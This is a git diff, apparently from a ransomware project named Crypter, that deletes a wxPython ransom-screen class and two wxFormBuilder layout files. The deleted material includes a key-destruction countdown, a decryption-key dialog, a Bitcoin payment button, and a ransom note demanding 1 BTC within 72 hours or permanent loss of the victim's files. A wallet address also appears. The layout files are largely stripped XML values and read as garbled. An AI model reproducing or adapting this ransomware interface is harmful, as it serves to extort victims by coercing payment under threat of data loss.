self.decryption_dialog.StatusText.SetLabelText( - self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FINISHED[self.LANG] + " (%d%%)" % percentage_completion - ) - - # Update decryption gauge - if self.encrypted_files_list: - self.decryption_dialog.DecryptionGauge.SetValue(percentage_completion) - else: - self.decryption_dialog.DecryptionGauge.SetValue(100) - - # If the decryption has successfully finished, update the GUI - if not self.decryption_thread.in_progress and self.decryption_thread.decryption_complete: - # Cleanup decrypter and change dialog message - self.decrypter.cleanup() - # Update main window - self.key_destruction_timer.Stop() - self.FlashingMessageText.SetLabel(self.GUI_LABEL_TEXT_FLASHING_DECRYPTED[self.LANG]) - self.FlashingMessageText.SetForegroundColour( wx.Colour(2, 217, 5) ) - self.TimeRemainingTime.SetLabelText(self.GUI_LABEL_TEXT_TIME_BLANK[self.LANG]) - self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) - - # Disable decryption and files list buttons - self.EnterDecryptionKeyButton.Disable() - self.ViewEncryptedFilesButton.Disable() - - - def open_url(self, event): - ''' - @summary: Opens a web browser at the Bitcoin URL - ''' - - webbrowser.open(self.BTC_BUTTON_URL) - - - def set_events(self): - ''' - @summary: Create button and timer events for GUI - ''' - - # Create and bind timer event - self.key_destruction_timer = wx.Timer() - self.key_destruction_timer.SetOwner( self, wx.ID_ANY ) - self.key_destruction_timer.Start( 500 ) - self.Bind(wx.EVT_TIMER, self.blink, self.key_destruction_timer) - - # Create button events - self.Bind(wx.EVT_BUTTON, self.show_encrypted_files, self.ViewEncryptedFilesButton) - self.Bind(wx.EVT_BUTTON, self.show_decryption_dialog, self.EnterDecryptionKeyButton) - self.Bind(wx.EVT_BUTTON, self.open_url, self.BitcoinButton) - - - def stop_decryption(self, event): - ''' - @summary: Called when the decryption dialog is closed. Sends a stop event - signal to the decryption thread if it exists - ''' - - # Send stop event to the decryption thread if it exists - if self.decryption_thread and self.decryption_thread.in_progress: - self.decryption_thread.stop() - # Otherwise just kill the dialog - else: - self.decryption_dialog.Destroy() - - - def show_decryption_dialog(self, event): - ''' - @summary: Creates a dialog object to show the decryption dialog - ''' - - # If dialog open. Don't open another - if self.decryption_dialog: - return - - # Create dialog object - self.decryption_dialog = EnterDecryptionKeyDialog(self) - # Set gauge size - self.decryption_dialog.DecryptionGauge.SetRange(100) - # Set encrypted file number - self.decryption_dialog.EncryptedFilesNumberLabel.SetLabelText( - self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_FILE_COUNT[self.LANG] + str( - len(self.encrypted_files_list) - len(self.decrypted_files_list) - ) - ) - - # Bind OK button to decryption process - self.decryption_dialog.Bind(wx.EVT_BUTTON, self.start_decryption_thread, self.decryption_dialog.OkCancelSizerOK) - # Bind close and cancel event to thread killer - self.decryption_dialog.Bind(wx.EVT_BUTTON, self.stop_decryption, self.decryption_dialog.OkCancelSizerCancel) - self.decryption_dialog.Bind(wx.EVT_CLOSE, self.stop_decryption) - self.decryption_dialog.Show() - - - def start_decryption_thread(self, event): - ''' - @summary: Called once the "OK" button is hit. Starts the decryption process (inits the thread) - ''' - - # Check for valid key - key_contents = self.decryption_dialog.DecryptionKeyTextCtrl.GetLineText(0) - if len(key_contents) < 32: - self.decryption_dialog.StatusText.SetLabelText(self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_INVALID_KEY[self.LANG]) - return - else: - self.decryption_dialog.StatusText.SetLabelText( - self.GUI_DECRYPTION_DIALOG_LABEL_TEXT_DECRYPTING[self.LANG] + " (0%)" - ) - - # Disable dialog buttons - self.decryption_dialog.OkCancelSizerOK.Disable() - self.decryption_dialog.OkCancelSizerCancel.Disable() - - # Start the decryption thread - self.decryption_thread = DecryptionThread(self.encrypted_files_list, self.decrypted_files_list, - self, self.decrypter, key_contents) - - - def show_encrypted_files(self, event): - ''' - @summary: Creates a dialog object showing a list of the files that were encrypted - ''' - - # Create dialog object and file list string - self.encrypted_files_dialog = ViewEncryptedFilesDialog(self) - encrypted_files_list = "" - for file in self.encrypted_files_list: - encrypted_files_list += "%s" % file - - # If the list of encrypted files exists, load contents - if encrypted_files_list: - self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetValue(encrypted_files_list) - # Otherwise set to none found - else: - self.encrypted_files_dialog.EncryptedFilesTextCtrl.SetLabelText( - self.GUI_ENCRYPTED_FILES_DIALOG_NO_FILES_FOUND[self.LANG]) - - - self.encrypted_files_dialog.Show() - - - def blink(self, event): - ''' - @summary: Blinks the subheader text - ''' - - # Update the time remaining - time_remaining = self.get_time_remaining() - - # Set message to blank - if self.set_message_to_null and time_remaining: - self.FlashingMessageText.SetLabelText("") - self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) - self.set_message_to_null = False - # Set message to text - elif time_remaining: - self.FlashingMessageText.SetLabelText(self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED[self.LANG]) - self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) - self.set_message_to_null = True - - # If the key has been destroyed, update the menu text - if not time_remaining: - # Cleanup decrypter and change dialog message - self.decrypter.cleanup() - # Update main window - self.key_destruction_timer.Stop() - self.TimeRemainingTime.SetLabelText(self.GUI_LABEL_TEXT_TIME_BLANK[self.LANG]) - self.FlashingMessageText.SetLabelText(self.GUI_LABEL_TEXT_FLASHING_DESTROYED[self.LANG]) - self.FlashingMessageText.SetForegroundColour( wx.Colour(0, 0, 0) ) - # Disable decryption button - self.EnterDecryptionKeyButton.Disable() - self.ViewEncryptedFilesButton.Disable() - self.HeaderPanel.Layout() # Recenters the child widgets after text update (this works!) - else: - self.TimeRemainingTime.SetLabelText(time_remaining) - - - def get_time_remaining(self): - ''' - @summary: Method to read the time of encryption and determine the time remaining - before the decryption key is destroyed - @return: time remaining until decryption key is destroyed - ''' - - seconds_elapsed = int(time.time() - int(self.start_time)) - - _time_remaining = int(self.__config["key_destruction_time"]) - seconds_elapsed - if _time_remaining <= 0: - return None - - minutes, seconds = divmod(_time_remaining, 60) - hours, minutes = divmod(minutes, 60) - - return "%02d:%02d:%02d" % (hours, minutes, seconds) - - - def update_visuals(self): - ''' - @summary: Method to update the GUI visuals/aesthetics, i.e labels, images etc. - ''' - - # Set Frame Style - style = wx.CAPTION|wx.CLOSE_BOX|wx.MINIMIZE_BOX|wx.SYSTEM_MENU|wx.TAB_TRAVERSAL - if self.__config["make_gui_resizeable"]: - style = style|wx.RESIZE_BORDER - if self.__config["always_on_top"]: - style = style|wx.STAY_ON_TOP - self.SetWindowStyle(style) - - # Background Colour - self.SetBackgroundColour(wx.Colour( - self.__config["background_colour"][0], - self.__config["background_colour"][1], - self.__config["background_colour"][2] - ) - ) - - # Icon - self.SetIcon(wx.IconFromBitmap(wx.Bitmap( - os.path.join(self.image_path, self.GUI_IMAGE_ICON), - wx.BITMAP_TYPE_ICO - ) - ) - ) - - # Titles - #======================================================================= - # self.SetTitle(self.GUI_LABEL_TEXT_TITLE[self.LANG] + " v%s.%s" % ( - # self.__config["maj_version"], - # self.__config["min_version"] - # ) - # ) - # self.TitleLabel.SetLabel(self.GUI_LABEL_TEXT_TITLE[self.LANG].upper()) - # self.TitleLabel.SetForegroundColour(wx.Colour( - # self.__config["heading_font_colour"][0], - # self.__config["heading_font_colour"][1], - # self.__config["heading_font_colour"][2], - # ) - # ) - #======================================================================= - self.SetTitle(self.__config["gui_title"] + " v%s.%s" % ( - self.__config["maj_version"], - self.__config["min_version"] - ) - ) - self.TitleLabel.SetLabel(self.__config["gui_title"]) - - - # Set flashing text initial label and Colour - self.FlashingMessageText.SetLabel(self.GUI_LABEL_TEXT_FLASHING_ENCRYPTED[self.LANG]) - self.__set_as_primary_colour(self.FlashingMessageText) - - # Set Ransom Message - self.RansomMessageText.SetValue(self.__config["ransom_message"]) - - # Set Logo - self.LockBitmap.SetBitmap( - wx.Bitmap( - os.path.join(self.image_path, self.GUI_IMAGE_LOGO), - wx.BITMAP_TYPE_ANY - ) - ) - - # Set Bitcoin Button logo - self.BitcoinButton.SetBitmap( - wx.Bitmap( - os.path.join(self.image_path, self.GUI_IMAGE_BUTTON), - wx.BITMAP_TYPE_ANY - ) - ) - - # Set key destruction label - self.TimeRemainingLabel.SetLabel(self.GUI_LABEL_TEXT_TIME_REMAINING[self.LANG]) - self.__set_as_primary_colour(self.TimeRemainingLabel) - - # Set Wallet Address label - self.WalletAddressLabel.SetLabel(self.GUI_LABEL_TEXT_WALLET_ADDRESS[self.LANG]) - self.__set_as_primary_colour(self.WalletAddressLabel) - - # Set Wallet Address Value - self.WalletAddressString.SetLabel(self.__config["wallet_address"]) - self.__set_as_secondary_colour(self.WalletAddressString) - - # Set Bitcoin Fee label - self.BitcoinFeeLabel.SetLabel(self.GUI_LABEL_TEXT_BITCOIN_FEE[self.LANG]) - self.__set_as_primary_colour(self.BitcoinFeeLabel) - - # Set Bitcoin Fee Value - self.BitcoinFeeString.SetLabel(self.__config["bitcoin_fee"]) - self.__set_as_secondary_colour(self.BitcoinFeeString) - - # Set Timer font colour - self.__set_as_secondary_colour(self.TimeRemainingTime) - - # Set Button Text - self.ViewEncryptedFilesButton.SetLabel(self.GUI_BUTTON_TEXT_VIEW_ENCRYPTED_FILES[self.LANG]) - self.EnterDecryptionKeyButton.SetLabel(self.GUI_BUTTON_TEXT_ENTER_DECRYPTION_KEY[self.LANG]) - - - def __set_as_secondary_colour(self, obj): - ''' - @summary: Sets the objects foreground colour to the secondary colour specified by the config - ''' - - obj.SetForegroundColour(wx.Colour( - self.__config["secondary_font_colour"][0], - self.__config["secondary_font_colour"][1], - self.__config["secondary_font_colour"][2] - ) - ) - - def __set_as_primary_colour(self, obj): - ''' - @summary: Sets the objects foreground colour to the primary colour specified by the config - ''' - - obj.SetForegroundColour(wx.Colour( - self.__config["primary_font_colour"][0], - self.__config["primary_font_colour"][1], - self.__config["primary_font_colour"][2] - ) - ) - - \ No newline at end of file diff --git a/gui/crypter.fbp b/gui/crypter.fbp deleted file mode 100644 index 691fd2b..0000000 --- a/gui/crypter.fbp +++ /dev/null @@ -1,1284 +0,0 @@ - - - - - - C++ - 1 - source_name - 0 - 0 - res - UTF-8 - connect - - 1000 - none - 0 - MyProject2 - - . - - 1 - 1 - 1 - 1 - UI - 0 - 0 - - 0 - wxAUI_MGR_DEFAULT - 177,7,14 - wxBOTH - - 1 - 1 - impl_virtual - - - - 0 - wxID_ANY - -1,-1 - - MyFrame2 - - -1,-1 - wxCAPTION|wxCLOSE_BOX|wxMINIMIZE_BOX - - - - - - wxTAB_TRAVERSAL - 1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 1100,-1 - bSizer8 - wxVERTICAL - none - - 20 - wxEXPAND | wxALL - 0 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - - 0 - - - 0 - - 1 - m_panel7 - 1 - - - protected - 1 - - Resizable - 1 - - - 0 - - - - wxTAB_TRAVERSAL - - - - - - - - - - - - - - - - - - - - - - - - - - bSizer16 - wxVERTICAL - none - - 10 - wxALIGN_CENTER_HORIZONTAL|wxALL - 0 - - 1 - 1 - 1 - 1 - - - - - - - Load From File; C:\development\Crypter\build\images\crypter.bmp - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - - 0 - - - 0 - - 1 - m_bitmap9 - 1 - - - protected - 1 - - Resizable - 1 - - - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 10 - wxALIGN_CENTER_HORIZONTAL|wxALL - 0 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - 255,255,0 - 1 - Courier New,90,92,18,75,0 - 0 - 0 - wxID_ANY - YOUR FILES HAVE BEEN ENCRYPTED! - - 0 - - - 0 - - 1 - m_staticText8 - 1 - - - protected - 1 - - Resizable - 1 - - - - 0 - - - - - -1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 20 - wxALL|wxEXPAND - 2 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - - 0 - - - 0 - - 1 - m_panel71 - 1 - - - protected - 1 - -1,-1 - Resizable - 1 - - - 0 - - - - wxTAB_TRAVERSAL - - - - - - - - - - - - - - - - - - - - - - - - - - bSizer17 - wxHORIZONTAL - none - - 7 - wxALIGN_CENTER_HORIZONTAL|wxALL - 3 - - 1 - 1 - 1 - 1 - - - - - - - Load From File; C:\development\Crypter\build\images\crypter_logo.bmp - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - - 0 - - - 0 - - 1 - m_bitmap10 - 1 - - - protected - 1 - -1,-1 - Resizable - 1 - - - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 10 - wxALL|wxEXPAND - 7 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - Courier New,90,90,14,75,0 - 0 - 0 - wxID_ANY - - 0 - -1,-1 - - - 0 - -1,-1 - 1 - m_textCtrl5 - 1 - - - protected - 1 - - Resizable - 1 - - wxTE_MULTILINE|wxTE_NO_VSCROLL|wxTE_READONLY - - 0 - - - wxFILTER_NONE - wxDefaultValidator - - The important files on your computer have been encrypted with military grade AES-256 bit encryption. Your documents, videos, images and other forms of data are now inaccessible, and cannot be unlocked without the decryption key. This key is currently being stored on a remote server. To acquire this key, transfer a total of 1 BTC to the Bitcoin wallet address below within 72 hours. If you fail to take action within this time window, the decryption key will be destoyed and access to your files will be permanently lost. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 - wxALL|wxEXPAND - 1 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - - 0 - - - 0 - - 1 - m_panel72 - 1 - - - protected - 1 - - Resizable - 1 - - - 0 - - - - wxTAB_TRAVERSAL - - - - - - - - - - - - - - - - - - - - - - - - - - bSizer18 - wxVERTICAL - none - - 5 - wxEXPAND - 1 - - - bSizer20 - wxHORIZONTAL - none - - 5 - wxEXPAND - 2 - - 0 - protected - 0 - - - - 5 - wxALIGN_CENTER_VERTICAL|wxALL - 0 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - 255,255,0 - 1 - Courier New,90,92,16,75,0 - 0 - 0 - wxID_ANY - KEY DESTRUCTION IN: - - 0 - - - 0 - - 1 - m_staticText81 - 1 - - - protected - 1 - - Resizable - 1 - - - - 0 - - - - - -1 - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 - wxALIGN_CENTER_VERTICAL|wxALL - 0 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - wxSYS_COLOUR_BTNHIGHLIGHT - 1 - Courier New,90,92,16,75,1 - 0 - 0 - wxID_ANY - 72:00:00 - - 0 - - - 0 - - 1 - m_staticText812 - 1 - - - protected - 1 - - Resizable - 1 - - - - 0 - - - - - -1 - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 - wxEXPAND - 2 - - 0 - protected - 0 - - - - - - 5 - wxEXPAND - 1 - - - bSizer21 - wxHORIZONTAL - none - - 5 - wxEXPAND - 1 - - 0 - protected - 0 - - - - 5 - wxALIGN_CENTER_VERTICAL|wxALL - 0 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - 255,255,0 - 1 - Courier New,90,92,16,75,0 - 0 - 0 - wxID_ANY - WALLET ADDRESS: - - 0 - - - 0 - - 1 - m_staticText811 - 1 - - - protected - 1 - - Resizable - 1 - - - - 0 - - - - - -1 - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 - wxALIGN_CENTER_VERTICAL|wxALL - 0 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - wxSYS_COLOUR_BTNHIGHLIGHT - 1 - Courier New,90,92,16,75,1 - 0 - 0 - wxID_ANY - 1BoatSLRHtKNngkdXEeobR76b53LETtpyT - - 0 - - - 0 - - 1 - m_staticText8121 - 1 - - - protected - 1 - - Resizable - 1 - - - - 0 - - - - - -1 - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 - wxEXPAND - 1 - - 0 - protected - 0 - - - - - - 0 - wxEXPAND - 1 - - - bSizer211 - wxHORIZONTAL - none - - 5 - wxALL|wxEXPAND - 0 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - View Encrypted Files - - 0 - - - 0 - - 1 - m_button7 - 1 - - - protected - 1 - - Resizable - 1 - - - - 0 - - - wxFILTER_NONE - wxDefaultValidator - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 - wxEXPAND - 1 - - 0 - protected - 0 - - - - 5 - wxALL|wxEXPAND - 0 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - Enter Decryption Key - - 0 - - - 0 - - 1 - m_button8 - 1 - - - protected - 1 - - Resizable - 1 - - - - 0 - - - wxFILTER_NONE - wxDefaultValidator - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/gui/final.fbp b/gui/final.fbp deleted file mode 100644 index 5d2dc64..0000000 --- a/gui/final.fbp +++ /dev/null @@ -1,2775 +0,0 @@ - - - - - - Python - 1 - source_name - 0 - 0 - res - UTF-8 - connect - GuiAbsBase - 1000 - none - 0 - Crypter - - . - - 1 - 1 - 1 - 1 - UI - 0 - 0 - - 0 - wxAUI_MGR_DEFAULT - 177,7,14 - wxBOTH - - 1 - 1 - impl_virtual - - wxSYS_COLOUR_BTNTEXT - - 0 - wxID_ANY - -1,-1 - -1,-1 - MainFrame - - 940,800 - wxCAPTION|wxCLOSE_BOX|wxMINIMIZE_BOX|wxRESIZE_BORDER|wxSYSTEM_MENU - - Crypter - - - - wxTAB_TRAVERSAL - 1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -1,-1 - MainSizer - wxVERTICAL - none - - 5 - wxALL|wxEXPAND - 1 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - - 0 - - - 0 - - 1 - HeaderPanel - 1 - - - protected - 1 - - Resizable - 1 - - - 0 - - - - wxTAB_TRAVERSAL - - - - - - - - - - - - - - - - - - - - - - - - - - HeaderSizer - wxVERTICAL - none - - 10 - wxALIGN_CENTER_HORIZONTAL|wxALL - 0 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - wxSYS_COLOUR_BTNTEXT - 1 - Courier New,90,92,48,75,1 - 0 - 0 - wxID_ANY - CRYPTER - - 0 - - - 0 - - 1 - TitleLabel - 1 - - - protected - 1 - - Resizable - 1 - - - - 0 - - - - - -1 - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 - wxALIGN_CENTER_HORIZONTAL|wxALL - 0 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - 255,255,0 - 1 - Courier New,90,92,18,75,0 - 0 - 0 - wxID_ANY - YOUR FILES HAVE BEEN ENCRYPTED! - - 0 - - - 0 - - 1 - FlashingMessageText - 1 - - - protected - 1 - - Resizable - 1 - - - - 0 - - - - - -1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 20 - wxALL|wxEXPAND - 2 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - - 0 - - - 0 - - 1 - BodyPanel - 1 - - - protected - 1 - -1,-1 - Resizable - 1 - - - 0 - - - - wxTAB_TRAVERSAL - - - - - - - - - - - - - - - - - - - - - - - - - - BodySizer - wxVERTICAL - none - - 5 - wxEXPAND - 1 - - - bSizer15 - wxHORIZONTAL - none - - 5 - - 1 - - - bSizer17 - wxHORIZONTAL - none - - 5 - wxALIGN_CENTER_HORIZONTAL|wxEXPAND - 0 - - - bSizer20 - wxVERTICAL - none - - 0 - wxEXPAND | wxALL - 0 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - - 0 - - - 0 - - 1 - m_panel81 - 1 - - - protected - 1 - - Resizable - 1 - - - 0 - - - - wxTAB_TRAVERSAL - - - - - - - - - - - - - - - - - - - - - - - - - - bSizer192 - wxVERTICAL - none - - 7 - wxALIGN_CENTER_HORIZONTAL|wxALL - 0 - - 1 - 1 - 1 - 1 - - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - - 0 - - - 0 - - 1 - LockBitmap - 1 - - - protected - 1 - - Resizable - 1 - - - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 - wxALL|wxEXPAND - 0 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - - 0 - - - 0 - - 1 - m_panel8 - 1 - - - protected - 1 - - Resizable - 1 - - - 0 - - - - wxRAISED_BORDER|wxTAB_TRAVERSAL - - - - - - - - - - - - - - - - - - - - - - - - - - bSizer191 - wxVERTICAL - none - - 10 - wxALIGN_CENTER_HORIZONTAL|wxALIGN_CENTER_VERTICAL|wxALL - 0 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - 255,255,0 - 1 - Courier New,90,92,16,75,0 - 0 - 0 - wxID_ANY - TIME REMAINING - - 0 - - - 0 - - 1 - TimeRemainingLabel - 1 - - - protected - 1 - - Resizable - 1 - - - - 0 - - - - - -1 - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 - wxALIGN_CENTER_HORIZONTAL|wxALIGN_CENTER_VERTICAL|wxALL - 0 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - wxSYS_COLOUR_BTNHIGHLIGHT - 1 - Courier New,90,92,16,75,0 - 0 - 0 - wxID_ANY - 00:00:00 - - 0 - - - 0 - - 1 - TimeRemainingTime - 1 - - - protected - 1 - - Resizable - 1 - - - - 0 - - - - - -1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 - wxEXPAND - 1 - - - bSizer18 - wxVERTICAL - none - - 7 - wxALL|wxEXPAND - 3 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - Courier New,90,90,14,75,0 - 0 - 0 - wxID_ANY - - 0 - -1,-1 - - - 0 - -1,-1 - 1 - RansomMessageText - 1 - - - protected - 1 - - Resizable - 1 - - wxTE_MULTILINE|wxTE_READONLY - - 0 - - - wxFILTER_NONE - wxDefaultValidator - - The important files on your computer have been encrypted with military grade AES-256 bit encryption. Your documents, videos, images and other forms of data are now inaccessible, and cannot be unlocked without the decryption key. This key is currently being stored on a remote server. To acquire this key, transfer the Bitcoin fee to the Bitcoin wallet address before the time runs out. If you fail to take action within this time window, the decryption key will be destoyed and access to your files will be permanently lost. For more information on what Bitcoin is, and to learn where you can buy Bitcoins, click the Bitcoin button directly below the timer. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 20 - wxALL|wxEXPAND - 1 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - - 0 - - - 0 - - 1 - FooterPanel - 1 - - - protected - 1 - - Resizable - 1 - - - 0 - - - - wxTAB_TRAVERSAL - - - - - - - - - - - - - - - - - - - - - - - - - - bSizer181 - wxHORIZONTAL - none - - 5 - wxEXPAND | wxALL - 1 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - - 0 - - - 0 - - 1 - m_panel9 - 1 - - - protected - 1 - - Resizable - 1 - - - 0 - - - - wxTAB_TRAVERSAL - - - - - - - - - - - - - - - - - - - - - - - - - - bSizer22 - wxVERTICAL - none - - 5 - wxALIGN_CENTER|wxALIGN_CENTER_HORIZONTAL|wxALIGN_CENTER_VERTICAL|wxALL - 0 - - 1 - 1 - 1 - 1 - - - - - - - - - 1 - 0 - 1 - - 1 - 0 - 0 - - Dock - 0 - Left - 1 - - 1 - - - 0 - 0 - - wxID_ANY - MyButton - - 0 - -1,-1 - - 0 - -1,-1 - 1 - BitcoinButton - 1 - - - protected - 1 - - Resizable - - 1 - - wxBU_AUTODRAW - - 0 - - - wxFILTER_NONE - wxDefaultValidator - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 - wxEXPAND - 3 - - wxID_ANY - - - sbSizer2 - wxVERTICAL - 1 - none - - - 5 - wxALL|wxEXPAND - 1 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - - 0 - - - 0 - - 1 - m_panel10 - 1 - - - protected - 1 - - Resizable - 1 - - - 0 - - - - wxTAB_TRAVERSAL - - - - - - - - - - - - - - - - - - - - - - - - - - bSizer221 - wxVERTICAL - none - - 5 - wxEXPAND - 0 - - - bSizer13 - wxHORIZONTAL - none - - 5 - wxALIGN_CENTER_VERTICAL|wxALL - 1 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - 255,255,0 - 1 - Courier New,90,92,12,75,0 - 0 - 0 - wxID_ANY - WALLET ADDRESS: - - 0 - - - 0 - - 1 - WalletAddressLabel - 1 - - - protected - 1 - - Resizable - 1 - - - - 0 - - - - - -1 - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 - wxALIGN_CENTER_VERTICAL|wxALL - 0 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - wxSYS_COLOUR_BTNHIGHLIGHT - 1 - Courier New,90,92,12,75,0 - 0 - 0 - wxID_ANY - 1BoatSLRHtKNngkdXEeobR76b53LETtpyT - - 0 - - - 0 - - 1 - WalletAddressString - 1 - - - protected - 1 - - Resizable - 1 - - - - 0 - - - - - -1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 - wxEXPAND - 0 - - - bSizer14 - wxHORIZONTAL - none - - 5 - wxALIGN_CENTER_VERTICAL|wxALL - 1 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - 255,255,0 - 1 - Courier New,90,92,12,75,0 - 0 - 0 - wxID_ANY - BITCOIN FEE - - 0 - - - 0 - - 1 - BitcoinFeeLabel - 1 - - - protected - 1 - - Resizable - 1 - - - - 0 - - - - - -1 - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 - wxALIGN_CENTER_VERTICAL|wxALL - 0 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - Dock - 0 - Left - 1 - wxSYS_COLOUR_BTNHIGHLIGHT - 1 - Courier New,90,92,12,75,0 - 0 - 0 - wxID_ANY - 1.50 - - 0 - - - 0 - - 1 - BitcoinFeeString - 1 - - - protected - 1 - - Resizable - 1 - - - - 0 - - - - - -1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 - wxALIGN_RIGHT|wxEXPAND - 2 - - -1,40 - bSizer19 - wxHORIZONTAL - none - - 5 - wxEXPAND - 1 - - 0 - protected - 0 - - - - 5 - wxEXPAND - 1 - - 0 - protected - 0 - - - - 5 - wxALL|wxEXPAND - 1 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - View Encrypted Files - - 0 - - - 0 - -1,-1 - 1 - ViewEncryptedFilesButton - 1 - - - protected - 1 - - Resizable - 1 - - - - 0 - - - wxFILTER_NONE - wxDefaultValidator - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 5 - wxALL|wxEXPAND - 1 - - 1 - 1 - 1 - 1 - - - - - - - - 1 - 0 - 1 - - 1 - 0 - 0 - Dock - 0 - Left - 1 - - 1 - - 0 - 0 - wxID_ANY - Enter Decryption Key - - 0 - - - 0 - -1,-1 - 1 - EnterDecryptionKeyButton - 1 - - - protected - 1 - - Resizable - 1 - - - - 0 - - - wxFILTER_NONE - wxDefaultValidator - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 0 - wxAUI_MGR_DEFAULT - - wxBOTH - - 1 - 1 - impl_virtual - - - - 0 - wxID_ANY - - - ViewEncryptedFilesDialog - - 600,400 - wxDEFAULT_FRAME_STYLE - - Encrypted Files - - - - wxTAB_TRAVERSAL - 1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - BodySizer - wxVERTICAL - none - - 5 - wxEXPAND | wxALL - 1 - - 1 